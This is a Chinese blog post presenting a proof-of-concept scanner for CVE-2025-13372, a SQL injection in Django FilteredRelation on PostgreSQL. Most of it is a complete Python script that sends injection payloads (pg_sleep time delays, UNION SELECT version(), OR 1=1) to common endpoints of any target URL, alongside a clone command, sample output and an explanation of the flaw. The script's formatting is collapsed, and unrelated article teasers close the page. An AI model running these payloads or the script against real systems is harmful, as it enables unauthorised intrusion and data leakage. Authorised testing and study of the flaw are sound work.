news 2026/6/10 15:01:29

Django FilteredRelation SQL注入漏洞检测工具解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Django FilteredRelation SQL注入漏洞检测工具解析

项目标题与描述

CVE-2025-13372 漏洞检测工具

本项目是一个专业的Django框架安全检测工具,专门用于检测CVE-2025-13372漏洞。该漏洞影响Django 5.2.8及以下版本、5.1.14及以下版本、4.2.26及以下版本,当应用使用PostgreSQL数据库后端、FilteredRelation功能并接受用户控制的别名参数时,可能导致SQL注入攻击。本工具通过多种检测方法(包括错误响应检测和时间延迟检测)自动化识别存在该漏洞的目标系统。

功能特性

  • 多种检测方式:支持基于PostgreSQL错误响应的检测和时间延迟检测
  • 自动化扫描:自动测试多个常见参数路径(alias、column、field、sort等)
  • 智能Payload设计:包含多种触发漏洞的SQL注入payload
  • 时间延迟检测:通过pg_sleep函数检测基于时间的SQL注入漏洞
  • 错误识别:能够识别多种PostgreSQL错误模式
  • 超时处理:正确处理检测过程中的超时情况
  • 兼容性广泛:覆盖多种可能的Django应用端点路径

安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络访问权限
  • 仅用于授权的安全测试

安装步骤

# 克隆或下载项目文件gitclone https://github.com/Ashwesker/Blackash-CVE-2025-13372.git# 安装必需的Python库pipinstallrequests# 确保有urllib3库(Python标准库的一部分)

依赖项

  • Python 3.x
  • requests (用于HTTP请求)
  • urllib3 (禁用SSL警告)

使用说明

基础使用

# 基本用法:提供目标URL作为参数python3 CVE-2025-13372-poc.py http://target.com

典型使用场景

  1. 安全审计:对自有的Django应用进行安全测试
  2. 渗透测试:在授权范围内对客户系统进行漏洞检测
  3. 安全研究:学习SQL注入漏洞检测技术

工具工作原理

  1. 工具接受目标URL作为参数
  2. 遍历预定义的SQL注入payload列表
  3. 测试多个可能的端点路径(/search/, /api/filter/, /filter/等)
  4. 分析响应中的PostgreSQL错误指示器
  5. 对于时间延迟payload,检测响应延迟时间

输出示例

[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi [+] Target: http://example.com [*] Testing: http://example.com/search/?alias=%27%29%20OR%201%3D1--%20... → no indicator [*] Testing: http://example.com/api/filter/?col=%27%29%3B%20SELECT%20pg_sleep%287%29-- ... → VULNERABLE! (Time delay detected) Delay : 7.05 seconds Payload : '); SELECT pg_sleep(7)--

核心代码

主检测逻辑代码

importrequestsimporturllib.parseimportsysfromrequests.packages.urllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("Usage: python3 CVE-2025-13372-poc.py http://target.com")sys.exit(1)target=sys.argv[1].rstrip("/")# Common payloads that trigger PostgreSQL errors or delayspayloads=["') OR 1=1-- ","'); SELECT pg_sleep(7)--",# Time-based (7 sec delay = vuln)"'); SELECT version()--",# Leaks PostgreSQL version"' UNION SELECT NULL,version(),NULL--","1' AND (SELECT 1 FROM PG_SLEEP(7))--"]print("[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi")print(f"[+] Target:{target}\n")forpayloadinpayloads:enc=urllib.parse.quote(payload)# Common endpoints/parameters that may use FilteredRelation + alias()/annotate()paths=[f"/search/?alias={enc}",f"/api/filter/?col={enc}",f"/filter/?field={enc}",f"/reports/?column={enc}",f"/advanced/?sort={enc}",f"/admin/lookup/?q={enc}",f"/?order={enc}"]forpathinpaths:url=target+pathtry:print(f"[*] Testing:{url[:80]}{'...'iflen(url)>80else''}",end="")r=requests.get(url,timeout=15,verify=False,allow_redirects=True)# PostgreSQL error indicatorsindicators=["syntax error at or near","column .* does not exist","unterminated quoted string","SQLSTATE","relation .* does not exist","django.db.utils.ProgrammingError"]body=r.text.lower()ifany(indinbodyforindinindicators):print(" → VULNERABLE! (PostgreSQL error)")print(f" Payload :{payload}")print(f" URL :{url}\n")sys.exit(0)# Time-based detectionif"pg_sleep"inpayload.lower()andr.elapsed.total_seconds()>=6:print(" → VULNERABLE! (Time delay detected)")print(f" Delay :{r.elapsed.total_seconds():.2f}seconds")print(f" Payload :{payload}")sys.exit(0)print(" → no indicator")exceptrequests.exceptions.Timeout:if"pg_sleep"inpayload.lower():print(" → VULNERABLE! (Request timed out – pg_sleep likely worked)")sys.exit(0)except:print(" → request failed")print("\n[-] Not vulnerable or correct endpoint not found.")print("[i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.")print("[i] Then test manually with the payloads above.")

漏洞技术分析代码说明

# CVE-2025-13372 技术原理说明# 漏洞出现在以下条件同时满足时:# 1. 使用PostgreSQL作为数据库后端# 2. 使用FilteredRelation进行条件连接# 3. 接受动态字典(**kwargs)构建查询注解或别名# 4. 允许用户控制的数据影响SQL生成中的别名名称# 问题根源:# Django ORM通常通过以下方式防止SQL注入:# - 转义危险字符# - 参数化输入# - 除非显式允许,否则禁止原始SQL# 但传递给以下函数的别名不会被参数化:# queryset.annotate(**dynamic_values)# queryset.alias(**dynamic_names)# 因为别名是SQL语法的一部分,而不是SQL值。# 如果用户控制的输入进入这些别名,Django可能会无意中将这些字符串逐字嵌入生成的SQL中。

检测逻辑详解

# 检测逻辑分为三个主要部分:# 1. Payload生成:定义多种SQL注入payload# - 基础注入payload:') OR 1=1--# - 时间延迟payload:'); SELECT pg_sleep(7)--# - 信息泄露payload:'); SELECT version()--# 2. 端点枚举:测试多个可能的参数位置# - alias参数:通常与FilteredRelation一起使用# - column/field参数:可能用于动态字段选择# - sort/order参数:可能用于动态排序# 3. 结果分析:# - 错误响应分析:查找PostgreSQL特定错误模式# - 时间延迟分析:检测pg_sleep导致的响应延迟# - 超时处理:时间延迟payload导致的超时视为漏洞存在

重要声明:本工具仅用于授权的安全测试和研究目的。使用前请确保已获得目标系统的明确授权。未经授权的使用可能违反法律法规。
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5EfxTTpHVbezSJmapquqON
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 13:21:45

Speech Seaco Paraformer多场景应用:会议/访谈/讲座全覆盖

Speech Seaco Paraformer多场景应用:会议/访谈/讲座全覆盖 1. 这不是普通语音识别,是专为中文真实场景打磨的ASR工具 你有没有遇到过这些情况? 会议录音转文字后满屏错别字,关键人名、产品名全错了;访谈音频里夹杂着…

作者头像 李华
网站建设 2026/6/10 13:25:27

通义千问3-14B镜像推荐:开箱即用,免配置快速部署教程

通义千问3-14B镜像推荐:开箱即用,免配置快速部署教程 1. 为什么这款14B模型值得你立刻试试? 你有没有遇到过这样的情况:想跑一个真正好用的大模型,但显卡只有单张4090,显存24GB;试了几个30B级…

作者头像 李华
网站建设 2026/6/9 21:11:14

Yocto项目初始化:下载源码的高效方式完整指南

以下是对您提供的博文内容进行 深度润色与结构重构后的技术文章 。整体风格更贴近一位资深嵌入式系统工程师在技术社区中自然分享的经验总结,去除了AI生成痕迹、模板化表达和冗余术语堆砌,强化了逻辑连贯性、实战指导性和可读性。全文已按专业博客标准重排层级、精炼语言、…

作者头像 李华
网站建设 2026/6/10 12:23:38

YOLO26 vs YOLOv8实战对比:GPU算力利用率全面评测

YOLO26 vs YOLOv8实战对比:GPU算力利用率全面评测 在目标检测领域,YOLO系列模型持续迭代演进,从v5、v8到最新发布的YOLO26,每一次升级都宣称在精度、速度与部署效率上取得突破。但真实场景下,新模型是否真能“一招鲜吃…

作者头像 李华
网站建设 2026/6/10 12:26:20

Z-Image-Turbo新手必看:常见问题全解答

Z-Image-Turbo新手必看:常见问题全解答 刚接触Z-Image-Turbo,是不是被“32GB权重”“9步生成”“1024分辨率”这些词绕晕了?启动镜像后运行报错、提示词不生效、图片糊成一片、显存爆红……别急,这些问题90%的新手都踩过坑。本文…

作者头像 李华
网站建设 2026/6/10 13:19:39

无需动作捕捉!Live Avatar数字人语音驱动口型同步实测

无需动作捕捉!Live Avatar数字人语音驱动口型同步实测 1. 这不是传统数字人:语音直驱口型的全新范式 你有没有想过,做一个数字人主播,真的需要穿动捕服、戴头盔、贴标记点,再花几小时校准骨骼绑定?Live A…

作者头像 李华